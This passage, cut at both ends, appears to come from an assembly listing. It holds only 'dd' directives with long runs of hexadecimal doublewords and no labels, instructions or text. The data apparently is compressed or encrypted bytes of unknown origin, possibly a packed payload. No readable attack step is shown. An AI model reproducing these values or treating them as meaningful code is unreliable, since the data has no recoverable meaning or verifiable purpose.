0E8AC2752h, 7047340Bh dd 103D00C7h, 0B017EA7h, 8DF382AAh, 0EF00E4FCh, 0BD4ED37h dd 0EE4C1EB0h, 29B4407Fh, 4902E4F8h, 0A0A4440Eh, 31E68284h dd 0C09AE2F1h, 9FFB1Eh, 82D05408h, 5A5B904Eh, 73BF9A58h dd 92CED61Fh, 75F601BEh, 8EADD84Ch, 258C40F6h, 0BB6300EEh dd 0D77E0706h, 80E64783h, 17AC9C00h, 63F7EB6Fh, 251800E5h dd 0C79522B1h, 0D8C0D328h, 2C3A62D5h, 70C05C58h, 7A0F6900h dd 0CC323A0h, 7E909700h, 47C881Bh, 0B4BF0515h, 0C0D9E043h dd 0AB344F78h, 0C454A100h, 6B59BA50h, 0FFBD00BFh, 37EA256h dd 0E20F986Ah, 3E8039D3h, 0ABE4E9C0h, 1E64954Eh, 3B4ECD7h dd 0E0BE17D5h, 0F3C3220Bh, 0F0288A3Bh, 3D7E1880h, 4CE1DBEDh dd 7500DA67h, 0FBBCA78Ah, 0A300F199h, 0EA8FAD82h, 90864211h dd 0E0790EB0h, 0DA0F055Fh dd 0E26037A1h, 0AA1C4B3h, 7E3335FCh, 0F3E6F8B4h, 0EC5DD008h dd 137500B6h, 0A1569C4Bh, 40F6F3D7h, 0BEADAB01h, 0E7DF80F7h dd 3365E0h, 1ED3905h, 49680322h, 0B12C9E0Eh, 0E5AB01C4h dd 87C07C11h, 0CCC109DCh, 80001857h, 7EB92EBCh, 58BD5F00h dd 2AEAFFD0h, 380500D1h, 4684FC02h, 87F21F39h, 0F63D4A07h dd 0C8F08B59h, 0AB580Fh, 82250EF1h, 0A8C3E69Dh, 76CE0800h dd 9AEB83B2h, 25B5A0D4h, 278500E5h, 9623CC4Bh, 0A73C08Fh dd 0AA56FE00h, 0D1EAAF0Bh, 1EFF092Bh, 0C0042D12h, 0ED4C023h dd 0BB004EEDh, 0D5F2FE0Dh, 0EEE284C9h, 872F3D53h, 5E4F5F0h dd 0ACD91278h, 0F5140059h, 19D346C1h, 363E5507h, 0BFB07451h dd 76470EF0h, 3A4001DDh, 20E7B71Fh, 2FE6F849h, 3B95DA00h dd 0B1DDBA4Fh, 443D1C89h, 2612C2EFh, 1C41C51Bh, 3A37DCC9h dd 920EB390h, 0AC38CB09h, 326B0F3h, 0E0EFA6F9h, 6280431Fh dd 9739F06Ah, 556E80C9h, 7CF1B526h, 2F030006h, 70361D79h dd 66041EA7h, 21F2A4DCh, 9AB99880h, 0FD9F1CACh, 87B800ABh dd 1DD35EFh, 0DFFCFCF9h, 0E84BEA30h, 30CA525Bh, 6F38611Eh dd 51028DBCh, 6509AC44h, 4C33E017h, 56F8EAh, 8A4220A8h dd 0DE5C285h, 59B7BD01h, 9E46D7CEh, 0F8C905C4h, 0D6731E31h dd 8D5DC02Dh, 0BCCC5756h, 14D938h, 4A2A1046h, 48FFE5F8h dd 8004D0DAh, 80E37CC5h, 0BC734340h, 0A129BE14h, 0E522019Ch dd 0D4079A46h, 314464h, 8DDA96C9h, 0B908EB7Ch, 0E700A17Eh dd 0C1674B44h, 0F8FA6E64h, 49C81FCBh, 0FBB4C0C0h, 1F1AA7A2h dd 0DC2E3C01h, 901CB9C9h, 0F8D41EDDh, 89FE0019h, 0C0B1E5B0h dd 960FA168h, 361B07AFh, 20C98700h, 1D420F59h, 80231689h dd 0C8B37C0Dh, 6C1ECA3Ch, 94C78AA5h, 1A70D79Bh, 3CD4316Ah dd 0EA87BB2Fh, 73DDA63Dh, 17C0476Bh, 0F2005635h, 20CFE7EFh dd 72AF8316h, 86021FE1h, 0C359404Ch, 0BA7C6CD8h, 0F9569E01h dd 21F53215h, 0AEAFC0h, 0EFD383BBh, 0C72B7BB2h, 2FB4A800h dd 0F8E95FE1h, 0E6AA3AF4h, 9DBA8080h, 0B612EA14h, 0BC557800h dd 9AA1D583h, 49EB005Ah, 0EA95C579h, 70027DFh, 57AD6B2Eh dd 5CB692h, 0F24076F3h, 14178DE8h, 32ECB44Bh, 13A06507h dd 0C131A0B8h, 6700A1BFh, 89272009h, 7338E1h, 0AE02C0C8h dd 19654D1Eh, 0E55011Dh, 0B5E307C0h, 7DE99B7Fh, 2F8106EFh dd 0DAC72710h, 0CBAC48h, 2B5DEB96h, 0B0D46D23h, 0E71009Bh dd 5E79137Ah, 0C72E512Fh, 8000DC91h, 0FEEB54B8h, 0CD6528FAh dd 0B56A3F98h, 9400CBBEh, 93F112C7h, 0E00EF6Fh, 106BFE9Fh dd 0A78990h, 69E7BECh, 0CDC2FDF6h, 3583CC00h, 0A17C5004h dd 0B8B20057h, 0DF4ECADCh, 3EEE6EC4h, 5A247000h, 0AEB7FE16h dd 0D1A30AA5h, 0EC59E1h, 1EEC094Ah, 2901CBC0h, 0FA85793h dd 6CD8B4EDh, 7F01EC0Ch, 0FA951C56h, 0C10E0054h, 0BC3C1BBEh dd 0E7296600h, 87E2B8Eh, 0E62500AFh, 0FD45B68Bh, 0E502488Fh dd 0B554420h, 0D4C7E072h, 6A1E00EBh, 96C836B7h, 0C917BE9Ah dd 3A12A65Eh, 0B2555907h, 9C2AD8F0h, 57D45C9Fh, 0EB86E301h dd 0E2BBB46Ah, 0CFE8AC80h, 9A4922C3h, 92181C28h, 4D6A1507h dd 122C52A0h, 74EF0750h, 6FDF0B10h, 0B9596C60h, 0C1E41AF2h dd 8D46FF0Fh, 41228506h, 66428400h, 363870Eh, 0BA6EC091h dd 99805224h, 0B400751Ah, 0E5559831h, 34AD3Ch, 0AC46BFF9h dd 1F63AA7Bh, 5B03E07Ch, 0D5C1DEBCh, 0F0C87B5Dh, 0A7740001h dd 0F6BAE8F4h, 39603309h, 96CAD55Ch, 804F0065h, 0F0985950h dd 687B2213h, 0BD6F100h, 5860CF9Dh, 93D50226h, 1E2348F2h dd 91C99560h, 0ECA0B724h, 178C3D00h, 3F49DAC3h, 0E899A173h dd 40169848h, 4C4033DBh, 0A9865800h, 9BF4C7B3h, 0B67F14E4h dd 2A00A78Fh, 0B9D83A46h, 40EA4FE6h, 7F5BE00h, 0E7FC739Dh dd 0B558004Dh, 0EB0B0428h, 6E719B68h, 2D88DC1Eh, 0BC00F4D2h dd 0AC7A4E43h, 0BED600A3h, 0F65742A1h, 0FA00E0C2h, 0B49F5A77h dd 753C70A0h, 98923CD7h, 7B27D400h, 6345C220h, 6AA70402h dd 0E03E8EE9h, 47E043h, 0F93CC6E3h, 99574B88h, 0F1DB776h dd 918059A9h, 0C5CA897Dh, 28623885h, 1324ED04h, 47F78006h dd 0A3D0544h, 3900048h, 8461655Bh, 0A870A1h, 57474667h dd 3A9BB1D7h, 0C87D3Dh, 0DE23B306h, 4E8FE55h, 62B8711Bh dd 0B6A7C009h, 700E640h, 0CD12CC3Dh, 0BC6069h, 8325D921h dd 925ECFF6h, 5ABDD200h, 13B15BD8h, 90CE1E89h, 70D580FFh dd 14803650h, 4800827Fh, 849FA3B1h, 1F30338Ch, 701E9147h dd 2A6F4D28h, 0E9902D00h, 4F79B35Ch, 95120E57h, 0CA40FB0Bh dd 0C1DA2054h, 2EE82F72h, 0C0699600h, 0E3CEF77Bh, 6BE103FEh dd 9B25474Bh, 7FD68388h, 6403FA7Ah, 5D5731F6h, 5F80A5DEh dd 2ED538h, 0A81126Fh, 8A234405h, 83B07FCh, 6E3E8077h dd 915DB7DAh, 0EF8D00CCh, 1193EA7Eh, 32002AC5h, 4BBFE487h dd 0E56105h, 674EAE3Fh, 0EC374283h, 73C16900h, 0F144B5EFh dd 1E6D0F5Eh, 3020DE5Ch, 0F92B8AE5h, 0E8034EF6h, 6E25F569h dd 3B569132h, 0EE9801D3h, 8220F217h, 0C88087EFh, 80C3D2C9h dd 0F510080Fh, 2830D545h, 6670DEh, 0A72CA1FAh, 46C3B8F7h dd 9C008BF4h, 15395FD5h, 0C09BEDCBh, 2A885668h, 9936F1ADh dd 2220710Ah, 0E041879Ch, 0FCDC3E40h, 864D00EAh, 0AF039DE9h dd 0C300EDA5h, 75C62A23h, 3077D0DBh, 164935E8h, 1100F20Fh dd 4CF567ECh, 0F8CF6950h, 649D0052h, 1A039BF8h, 0FC0140BEh dd 7041FF9Fh, 66E0F97Dh, 62270080h, 0A9A1C869h, 4D00DE4Fh dd 0BB54AA26h, 401718h, 5B467A7Bh, 368DF6B2h, 55568903h dd 0C0AA0671h, 85D745h, 0A9CDC558h, 0EEDE9E44h, 9F19750Eh dd 6BAC033Dh, 40BFAFBAh, 223F94Ch, 0BB1003A6h, 0F29984A5h dd 0BF7B4BC0h, 7D8C673Dh, 482DB000h, 6BE8F073h, 0A42E0A3Fh dd 80D8F445h, 0C62C1FF5h, 2A07D05Fh, 0DB68749Eh, 21E046h dd 672DD50Ah, 17F3035Ah, 71E33E00h, 26868AADh, 2EDF000Ch dd 3F722B44h, 84001441h, 0EFCE6F27h, 0AB41DD5h, 3C3DFC98h dd 21E80F4h, 5828309Ah, 0A1015F00h, 4C162785h, 0EC061D2Dh dd 20E19866h, 0DD0AE2DBh, 2026C402h, 8C8A1070h, 184EA3Fh dd 0D9DD99CAh, 808E9FEBh, 2F4C0141h, 58016D12h, 74EEB9A5h dd 83F8E13Fh, 43680427h, 816B3171h, 24D97600h, 81000A04h dd 1641877Dh, 0C134C1Ah, 6C492540h, 0E90E4421h, 0F8668151h dd 0DE779Ah, 0D4EF9980h, 7EE0AE28h, 121568C5h, 4A438C41h dd 408E69FDh, 7A476ECCh, 8E10CC52h, 2F7D4800h, 0D209BAA9h dd 8756501h, 0D5C400C7h, 5C6D70C4h, 9BA9200Bh, 0CC9981BDh dd 0E3EC7177h, 0E27E0267h, 3196B266h, 8A9BA081h, 0D41034E6h dd 54EFD275h, 2A1880A4h, 0AA031E0Fh, 0AD0AB239h, 15083031h dd 0F22E921h, 9E12B300h, 0BF563B9Ch, 88336342h, 0DBDB869Bh dd 0F4E42801h, 0F6213D18h, 163F1824h, 0C99A17h, 5B60FC1Ah dd 8C928DF7h, 3E2BB905h, 0A0406276h, 0C5B5D30Fh, 91AF0687h dd 8E7E828h, 0AE21DC62h, 8161E0FAh, 2C137F18h, 2DD716h dd 5C4DB62Dh, 0DF0C2F73h, 9129589Bh, 698800C8h, 41A5330Dh dd 5D06B2A7h, 0CA32E7C9h, 44670120h, 23D3151Dh, 0C0BC5776h dd 0FABAB21Ch, 0DF38FE14h, 7DFB10CCh, 287C15C0h, 743B2A9h dd 9300DD22h, 13D07C1Eh, 1E5592C5h, 50C8A0Fh, 4337E1EAh dd 26BFEBA8h, 21B42CF0h dd 8EF65FE2h, 0B6007898h, 2DD7AECBh, 2660FEFCh, 0F66961h dd 403B0133h, 49003109h, 1CF4A9B5h, 0F0735DC9h, 262EFCC4h dd 4EBC4B12h, 0C12C1187h, 23D5205Eh, 0FE22E4h, 0D62CFF34h dd 414B1023h, 0E1295B33h, 0A025ABAEh, 0A087381h, 0F869EFC8h dd 7C14C080h, 5A70A92Bh, 68C64486h, 5B7C1D00h, 0FD74A9FFh dd 0E0940003h, 0FB604588h, 2E043955h, 3327A69Dh, 4084095h dd 0B561CFC4h, 18FF83DBh, 4A888DDh, 0B8F0B41Eh, 0E222C905h dd 328046C4h, 0E006C17Ch, 6A37873h, 7DC663E9h, 6F0539D7h dd 60F4AEB7h, 49749C00h, 52B2D9ABh, 6BB240B8h, 91E21930h dd 0CC0C007Ch, 3F4096F0h, 0D1E30100h, 55EA0712h, 0E5DC3A47h dd 0F31A3AFCh, 0E1F1D289h, 6E09BC1Bh, 3119AB72h, 0ED1007BCh dd 4F030FC6h, 42D3D454h, 0E772D126h, 0BB007022h, 0E3B91FC7h dd 80E14CEEh, 0FAEAB8A1h, 19EA22Ah, 0C54BC378h, 303444CFh dd 68426A38h, 0ECEF2Bh, 0A92C7C19h, 3899FF12h, 7CC08F67h dd 0DE27EAh, 7462DCA8h, 2C01D005h, 0DB82551Dh, 27F1B649h dd 52C7C630h, 70C753Bh, 0CE14CA99h, 16C419FDh, 71138349h dd 5A553C20h, 0C8B21B98h, 95C09081h, 249AF280h, 859DE4A0h dd 0D84A6817h, 28DF740Dh, 30026402h, 31096D76h, 16094AA9h dd 1FE6D0h, 2BD8827Ch, 56B1FB5Bh, 1AA7F800h, 0D653B348h dd 6ACB989Ch, 11AC5083h, 0F1C5811Eh, 31C25FD0h, 33010EAh dd 947D2Ch, 3ED94846h, 0A64A97FFh, 0D450846Ah, 0E94674h dd 0C9CED767h, 240EE852h, 801043E2h, 2775DB4Dh, 997E60A1h dd 690C0700h, 0FA25BCD7h, 9A4A30C5h, 0EC35E979h, 58018303h dd 912BF1F3h, 484BFB4Bh, 1CC0E088h, 0EF11736h, 38738DC9h dd 69BB7580h, 0D212D833h, 0EC27344Ch, 0E001C918h, 26E783DCh dd 2A22ACh, 7B4FDAFh, 4D0B5EBDh, 0B72DC907h, 26F02B24h dd 12D345F8h, 0AF3977h, 4F4E955Ch, 0ECA8B0BFh, 1AECF41Bh dd 0AF187500h, 0D4E4468Ch, 2826038Bh, 0DF3DC11Eh, 0B63888ACh dd 0D399960h, 7A793ACCh, 1D77009Eh, 0ACC21A9Dh, 3500889Ah dd 0B5563C65h, 2FB769h, 0AAD975F8h, 0AB6D07E4h, 47513700h dd 0F95A4DE3h, 97260080h, 72BFCA4Eh, 0EA083BB5h, 32BDC2Dh dd 4A840D07h, 1F1039D8h, 179D3558h, 0EE015EF3h, 0C4AADE48h dd 0EFBD0C0h, 0FC83A02h, 0BB69C380h, 0CE0018C0h, 52A48782h dd 384131h, 9B3BA39Fh, 0E81959B1h, 87357200h, 20B617E3h dd 0D8C101A2h, 0E6F41043h, 20293174h, 0F04CFF05h, 7CB7009Ah dd 0F3272445h, 0E0F200C2h, 91A71FD2h, 42F2FDAEh, 86B2C40Eh dd 0C05060C3h, 783E485h, 8275B4DDh, 0BF917026h, 7D007C7Eh dd 0FEBA5457h, 0C3ED4h, 9C1FB3DCh, 11FA33CCh, 210003EEh dd 0B0990E04h, 0B9E48E1h, 889F3632h, 0F681718Ch, 80191E3Dh dd 0B645C39Dh, 3FCCF502h, 0C804BA1h, 7B84070Eh, 6A003CD8h dd 5BF94CA9h, 127D60C9h, 116EEEDh, 1CB865F1h, 0A24080C4h dd 0A1C10C6Dh, 183B0EFFh, 0CF603984h, 0C3A96953h, 7E753100h dd 0AF5DC514h, 834D3A32h, 9C99081Fh, 15B1A6E7h, 2303808Fh dd 1A786505h, 0FE5F70C8h, 0AEED0D01h, 0F540DBDAh, 706A4DDCh dd 119C47FBh, 0BE0618F9h, 811DB53Ah, 45D84C00h, 92A68AC9h dd 73FB02F9h, 951B6A10h, 0D6E380A0h, 90069C2h, 80C120FFh dd 0B8E72771h, 7243819h, 81A18818h, 0F800151Ch, 0D6D88033h dd 3201950h, 10FC7822h, 2180E6AAh, 0BB008B84h, 8EE40A5Ch dd 6A57F9h, 65BD36BFh, 0ABED0B7Ch, 0C261D608h, 0C0A20193h dd 0D8F60820h, 0D8079026h, 22554377h, 8DDD1A20h, 5809F8B7h dd 2D01FC1Eh, 63ACFC88h, 64C0809Ah, 0E89E531Ch, 491702C2h dd 4C3A8423h, 0EFABE160h, 0D0B358h, 47145CB7h, 0E6ECE91Eh dd 0F1510026h, 30FC108Ch, 0A103B032h, 0B4A81F20h, 0DD24F384h dd 36CA040h, 404856Eh, 6F1E4AAFh, 168082B0h, 0FB45E080h dd 0E90086F3h, 2CB737Ah, 26CD6FEh, 0B0B8DD1Dh, 0A0404C41h dd 0A80F1634h, 0A0146D6Fh, 5E43A118h, 0C40E1386h, 2CFFE01Ah dd 0DBE0400h, 0C8F610E6h, 219400F8h, 73AAC542h, 0D6073EB9h dd 7514D9CCh, 4CE4E610h, 0CB1F00D3h, 79208FEEh, 0CA00C4B0h dd 0BAC21CCh, 7522B698h, 57E33B59h, 1AE7AE00h, 60A85BFFh dd 8C3BFC00h, 2A4C206Eh, 0CFA3078Fh, 14739Eh, 0F498FDFFh dd 63FC8D00h, 0A824411Ch, 39203DC8h, 21D8250Ch, 0FD602F08h dd 19CC1820h, 9CAA4805h, 0CF9EF900h, 7EB8A4C9h, 807D510Ch dd 1A128F6h, 8261D502h, 0DC94CAA6h, 6000CDE3h, 369F30EAh dd 71C04DB6h, 20DD0397h, 1E7AF73Fh, 0EDFA5280h, 94141D00h dd 93626D66h, 0A1160089h, 0DECC5BD0h, 0E318A976h, 2068F95Ch dd 1FA0060h, 8DD4FF27h, 5D001807h, 0D149A216h, 0A80EC4h dd 0FF35612Bh, 0CD1A1063h, 20E4C929h, 56A32AC1h, 9A90020Dh dd 1119C630h, 886920CAh, 0CD4A8005h, 17460C19h, 9B92C200h dd 0B61852B7h, 222FEE43h, 2100EB80h, 15EEA4C2h, 148CFE1Eh dd 0C8CABEFFh, 6030FEE9h, 0BF7A00C4h, 727E85EDh, 0DE0390D9h dd 0B30155E1h, 1432B09Ch, 0A11D30E7h, 0B0B6153Ah, 10724A31h dd 8BD8A863h, 0D8235CFBh, 78497A78h, 2658001Dh, 0AFCD8791h dd 230C1870h, 0C05548F0h, 895400FCh, 0E47B36A7h, 820097E0h dd 2D3E6208h, 187347DAh, 0A8B7A222h, 7228033Ch, 0B806FC44h dd 8DA17EC3h, 0F0692AC0h, 3C1A0088h, 8FAD7CA2h, 0D90E112Dh dd 4F6A9A88h, 617A2086h, 7BB671Fh, 0B843E1DFh, 0E6D4A076h dd 0F5003470h, 2F2B12FEh, 217C03h, 0E3C2FBCEh, 0CF65F793h dd 808268C8h, 0C60333C4h, 0F00006DFh, 9C6C855Ah, 38D1B5CDh dd 0A6BACC81h, 8FB26180h, 6A389233h, 8031E93Dh, 73828145h dd 3434D01h, 57092F7Ch, 9AE128D5h, 0DD19806Eh, 45546BCCh dd 0BA590FD0h, 32A2337Eh, 9CA15D60h, 5755B93Bh, 2C44E0F0h dd 85002824h, 225BBE8h, 1F618701h, 0AAEE55D1h, 783215F4h dd 523EE0EBh, 80415830h, 2B7C6444h, 7805F800h, 0E65D2790h dd 2F76394Fh, 0CA122A00h, 93D7FD0Eh, 0C019D190h, 631172A5h dd 0EAE0044Bh, 10C06551h, 8542913Fh, 0D1C000EFh, 4895CE87h dd 7D01A230h, 0E836EA05h, 12E4FE4Ch, 0ED29C44Bh, 713F4E88h dd 11E70A11h, 0C9286A41h, 89B12228h, 22E60E22h, 656045AFh dd 0BAAEE529h, 68A902E0h, 2C3F27DDh, 0E7EF2740h, 0EBD25F00h dd 4B5A84B0h, 23250095h, 615DC3D8h, 8B008093h, 0D72D3CA8h dd 0EB69D9h, 0E652707Fh, 1C3EDAD6h, 13A55100h, 91AF2830h dd 2D6201D8h, 76A1221Dh, 0D06FED4Fh, 0AB007CE3h, 0FFDD0D7Bh dd 1EBFD8C8h, 9E7754EFh, 0E0E9C1B5h, 0D44857B4h, 0FC00AA67h dd 4760038Dh, 0C9ECDCh, 201AF63Eh, 5F996680h, 13827D3Ah dd 0B300CC7Bh, 11252BDBh, 13BCA089h, 532C002Eh, 0F888565h dd 64601DFBh, 10C99678h, 86F80034h, 5D6A980h, 4100CC5Ah dd 0A39C75B8h, 49A8C0h, 71AC5E06h, 4EEA8AD2h, 9AE66C03h dd 0F07D65E4h, 0BBEBCE5h, 2BDDADBFh, 4E92C585h, 1FA077F8h dd 3A6A0359h, 0A2B92E00h, 0A045451h, 39AB00E5h, 0E7A9AD15h dd 19036264h, 0FECB7199h, 4692B04Ch, 0F1F800D6h, 60C1C36Dh dd 0A6E2010Eh, 9F99F703h, 0BF75CB84h, 8B723F00h, 0DFBE0080h dd 87E2A326h, 5C03B10Eh, 48DDBFD1h, 1190A00Dh, 0B7323BF5h dd 6B9F280h, 5B707A67h, 2F492100h, 6B6F54EBh, 0E913B2Eh dd 11439207h, 3BEEC008h dd 81015F79h, 83EA2052h, 34ECDC8Fh, 3B6000Eh, 0ED421B82h dd 0BE001859h, 8C084C1Ch, 4D668A6h, 5C2E7B0Eh, 5188801Bh dd 1400A24Ah, 564E2F34h, 0DD63Ah, 0BEB36589h, 935D9FDAh dd 8EC3EA00h, 501D4BD7h, 459500DFh, 8AEFA466h, 103D4D81h dd 0A56C0030h, 0CF11C2E4h, 0D28203B3h, 0CA877CD7h, 0A1E509D8h dd 0FE791500h, 6EE1FFEFh, 0DDE30088h, 34417C5h, 5200DCA4h dd 71144916h, 1458F565h, 90042A20h, 5CD5DE00h, 0DC513A78h dd 0E9D8B160h, 43C85EBh, 9AF122E6h, 0B420D216h, 0DA360C48h dd 29886916h, 0DD842C07h, 4DCB0C20h, 52D0A098h, 8C830025h dd 2DBC9D97h, 81727B2Fh, 2F5A33Dh, 3D91F21Bh, 0CAC687D2h dd 24182590h, 54E8E6h, 5A208508h, 108DB6AEh, 602B7F24h dd 4B680300h, 3DFD2B4h, 85D763BFh, 47B8175Ah, 48000D14h dd 6C753D07h, 1CA3F4h, 0AD9BBD4Fh, 89E6841Ah, 43E47F07h dd 0CFA072C5h, 15655B7h, 0DA61EF5Ah, 0DC0258A7h, 0A6383B0Fh dd 34C6807Eh, 7FF45BC4h, 0D0D805B5h, 70B86B3h, 0B016DC84h dd 8ABEA147h, 7EB7EE01h, 3E742E0Fh, 0C0EE8861h, 7209950h dd 0F38BF48Dh, 8072C50Bh, 0F76F60E5h, 0B0A78C00h, 0D8563D51h dd 3BC20090h, 24443EDDh, 19141206h, 9CE0DA7Bh, 0BC709ECAh dd 0DF2C0D80h, 492076h, 0E4C16BF0h, 19A1C04Ch, 3873E800h dd 7857B2D9h, 1470F4E2h, 0F417CD49h, 0BB0AB2Ch, 6FF03C64h dd 0F5CE8A0h, 101F7B7Ah, 9FC01906h, 6EE9349Bh, 67820059h dd 400263DEh, 5B00FC8Eh, 0A1C2FB2h, 0B86479h, 91BD7C68h dd 0B15E0CF5h, 3F3A141Dh, 0A050E080h, 755D13h, 105F4E28h dd 15CBC371h, 941E8500h, 0A96C8B95h, 1DB23C07h, 0B7BFBC80h dd 0ACEF663Fh, 9D00EB79h, 80A7B69Fh, 0E4BB0C32h, 22BF00DDh dd 885304E5h, 0A9005C66h, 938BD16Fh, 1D2F9FC3h, 40448991h dd 597CE2A0h, 90005DB3h, 7B9A63B6h, 0E26C490Ch, 96510039h dd 86B879F7h, 0F0068D3h, 0E0B33C56h, 62A258h, 0BF4B3274h dd 5A9BA624h, 99CC5501h, 784F86BCh, 68B2FCh, 49620ABEh dd 95768CAEh, 2674224Ch, 0C61DDAAAh, 0EA1C5253h, 0E89BF81h dd 0EBC0B6BCh, 64220072h, 603CD0A2h, 0EC01E8D2h, 5779514Ch dd 76E0F05Fh, 9E8300D1h, 1F126BB1h, 8C01D56Ch, 50FECF21h dd 0EF0B526h, 742000D3h, 99A43809h, 0AB0637DBh, 0ADA7C2FEh dd 7FB40120h, 61E0D04Ah, 0B7ECD08Fh, 0D0C858h, 0E9378047h dd 2C86BF16h, 407883h, 6199C3ACh, 4D004526h, 3EFA7F02h dd 27B76Ah, 0D046B58Dh, 95756828h, 70D8833Fh, 0FD3FA6EEh dd 535200CEh, 2CB149F4h, 0ED8E260Bh, 0F1DA0EC2h, 0ECA59960h dd 0C00012Dh, 3F07E04Dh, 0CDAAB9h, 98393B74h, 788FB8ABh dd 41B0BE00h, 0D47E11BAh, 0EC8E26Eh, 0D618773Ch, 11DC18F3h dd 9B7B6F61h, 768BAF00h, 5BD475Fh, 0DBA73F58h, 0D3CF9C94h dd 806C592Ch, 0B3360643h, 5F032BEBh, 0E43FAEE7h, 90829817h dd 0E8214841h, 959E9400h, 0C2E25950h, 5B2A960Fh, 17F1A007h dd 1A1024Fh, 7B4A8120h, 70521565h, 0D1B84D3Ch, 18FB6F00h dd 49C7306Ah, 91B7919h, 0CFD64260h, 404CE800h, 10B91715h dd 18E74700h, 0F871458Bh, 7A51014Bh, 0FCD8BB75h, 10A46068h dd 502D2E00h, 3FF7FE6Ah, 203D2E6Eh, 834F0096h, 0DA728474h dd 6499700Fh, 338B1EA4h, 6380360h, 0E99699BAh, 0D1F5E8h dd 8EEFEB7Eh, 98C5BD3Eh, 0E2C060FDh, 0E62F8500h, 30EBE74Eh dd 7A78B826h, 71D5003Ch, 0BB813291h, 0E498339Ah, 0FA3E0609h dd 39C080CAh, 143A4Dh, 51E87990h, 0EA4F2CBCh, 3698DC00h dd 0A346C4E5h, 12A10050h, 9377BEADh, 480788C8h, 13B2451Fh dd 5E54ABE0h, 14B50E7Eh, 926036C5h, 8AD0E82Ah, 2BF5D103h dd 0F07B4FF2h, 0B0A742F8h, 5908035Dh, 0EAE38DC8h, 7D63B0C7h dd 0B2EEA2CEh, 1B7B3C05h, 0ECC0821Ch, 399D43h, 0B02A8C41h dd 42F16401h, 1C836C00h, 0E47EEFB5h, 0A89AF8D3h, 0FBA963FCh dd 0A0405EC9h, 22BA44h, 8965C43Ah, 0EA0CAEDCh, 0B1139900h dd 0D308C6EBh, 27E50031h, 50A7C7F3h, 702482B9h, 12069094h dd 48074Fh, 38064E45h, 4B188B91h, 0D822C600h, 0E299F994h dd 78BA2E3Eh, 0E595005Ah, 0B6C96D9Bh, 21A87400h, 96D35872h dd 146000CDh, 0C138E6C4h, 0FE58F188h, 0CE127DFCh, 102034F3h dd 8BE252h, 18F0A75Bh, 64033527h, 9BFC9218h, 7AD7E7Ch dd 0C0C98DFAh, 771C906Ah, 1D279A12h, 0C65C0Ch, 8155EF33h dd 2094520Fh, 40301B12h, 3791C8h, 0CD57A4EDh, 3575D9C7h dd 7200F8BAh, 83B21082h, 680A43Fh, 9D7F8FC1h, 0FD58E851h dd 4C880039h, 2C8B6B2Ah, 0BECC07DCh, 81690498h, 0DC3401F7h dd 7998C4CAh, 0C2005CB0h, 30D38A82h, 7B6E7EEh, 4C0AA7AAh dd 8B956715h, 0F894F001h, 0C44761A5h, 57002036h, 0C5AF02E6h dd 0F47ABE9h, 0E26BAE38h, 0CF5B7D81h, 0D40DC861h, 6A86A912h dd 0A5B99802h, 1DCC045Ch, 148E5B00h, 0A8E75Eh, 8FFEE9CFh dd 921C7CD9h, 0F6184Ch, 0A5A03A2Ch, 0AB88251h, 0C446B633h dd 2E9A0488h, 77860568h, 72C8C8C9h, 0AAC50F98h, 1820CEB0h dd 9D45C029h, 0D53A8DF2h, 0AC629F75h, 0BEA5E843h, 0F0B40097h dd 9B633D2Dh, 1E0EF667h, 82ED1751h, 0E0F1D02Ah, 0B7A6FD6h dd 0F60969B4h, 6E00D1DCh, 0AD35A21Dh, 0C2720FDBh, 1C806CFFh dd 0B055741Ah, 910060F4h, 2DDC269Bh, 42812h, 0A925A1E5h dd 0B82BDA3Dh, 4E00ABE8h, 869A236h, 2ED48h, 0F51FC4A5h dd 302C5C40h, 6FB36B00h, 85875767h, 0B23C0055h, 71690D79h dd 0A91F5E29h, 725CF073h, 5BE544C0h, 2E68AF1h, 3B3FFDBEh dd 605759E3h, 1CC79902h, 7AC09889h, 0CA75DD80h, 0D4E7A38Eh dd 0E5CB3903h, 80BA9786h, 93F2752h, 1C3CC3C7h, 69738100h dd 7E002DDFh, 2906E5E6h, 0EA326501h, 13D21ECCh, 0EF844044h dd 0E59009E8h, 62140300h, 1C0B8936h, 0D4B300E7h, 0D9983583h dd 1600CAE6h, 0A2FE064Bh, 1DB6995Bh, 80716D29h, 9BC85AB5h dd 0F37BFFD2h, 23BE88A0h, 87C56E1Fh, 0F1DE000h, 1DA6B206h dd 0C0693612h, 0F7B40479h, 5D077D5Ch, 54D11B39h, 614073C7h dd 38253250h, 86006593h, 0C2EEE4A7h, 73001C22h, 672C0598h dd 8A0746h, 1E2A7CD8h, 2134C20Ah, 6A00557Fh, 33B015AFh dd 1CDD469Eh, 8035B45Ah, 0CAB69739h, 493817E0h, 0DCB88084h dd 0E176BD73h, 93E70F6Fh, 0C7EF5999h, 8F0DE400h, 0FF003EEAh dd 379C7BB7h, 321FF0h, 2479F63Dh, 22CD0BB9h, 500081EEh dd 8ED88597h, 508098C6h, 1B58910h, 75084D7Bh, 0F003FDD7h dd 427B7634h, 0E6F69902h, 0C0DB6F9Dh, 3C9967Ch, 2E719F40h dd 7000CF53h, 93DEE987h, 2CBF4A74h, 0E770FEh, 0F1464103h dd 3190EF21h, 9E938900h, 1AADAF2Ch, 2D271FA2h, 28A7C07Fh dd 0E3A09BEDh, 0B029700h, 3996F3BEh, 361E4DAh, 1C65BF3Fh dd 9580A3D6h, 7F3AFEE7h, 673F6Eh, 278D7B88h, 98C31257h dd 0B2CD0029h, 5987FBC6h, 5D14D203h, 0CD2E3Ah, 0E2C36C3Dh dd 5CAB214Dh, 45003E94h, 0CE9777F7h, 91009B48h, 0B4758CD1h dd 7D2E0E2h, 292D2076h, 7C10A27Eh, 631216C0h, 0F4272602h dd 8047498Fh, 7062FD9Bh, 9FB75C56h, 0DFBF0070h, 73DEED3Ch dd 0AB03FC97h, 64BD16B9h, 6CCAE8A0h, 0E87400A1h, 0C787C0F1h dd 0CD00F4C2h, 352E377Eh, 0FBC8C5h, 0A201F28Fh, 0CA264D5Dh dd 2B16BA7Eh, 0FF132Ah dd 719421C1h, 291F31E3h, 1D8012B2h, 356C7B93h, 0EF7504h dd 34AF8A7Fh, 0B1CA411h, 9F87BF00h, 0D7E089D0h, 394F000Eh dd 7E61D8B8h, 0CF00266Eh, 6DA555B0h, 9807DB78h, 0F6D1009Dh dd 0E40336A0h, 0BE78EBF1h, 48858030h, 0EDBB5Bh, 5743CF40h dd 0B88F34E8h, 0D623921Ch, 0BBC7E080h, 73D4A046h, 0D88C4B7h dd 0B66BC1A7h, 2F69FC41h, 7A5C3675h, 640A1C0Eh, 54C11CC0h dd 0F458E15Fh, 3CF50028h, 0CBC86626h, 3300906Eh, 1755BDD9h dd 0E20E94h, 8735B0A6h, 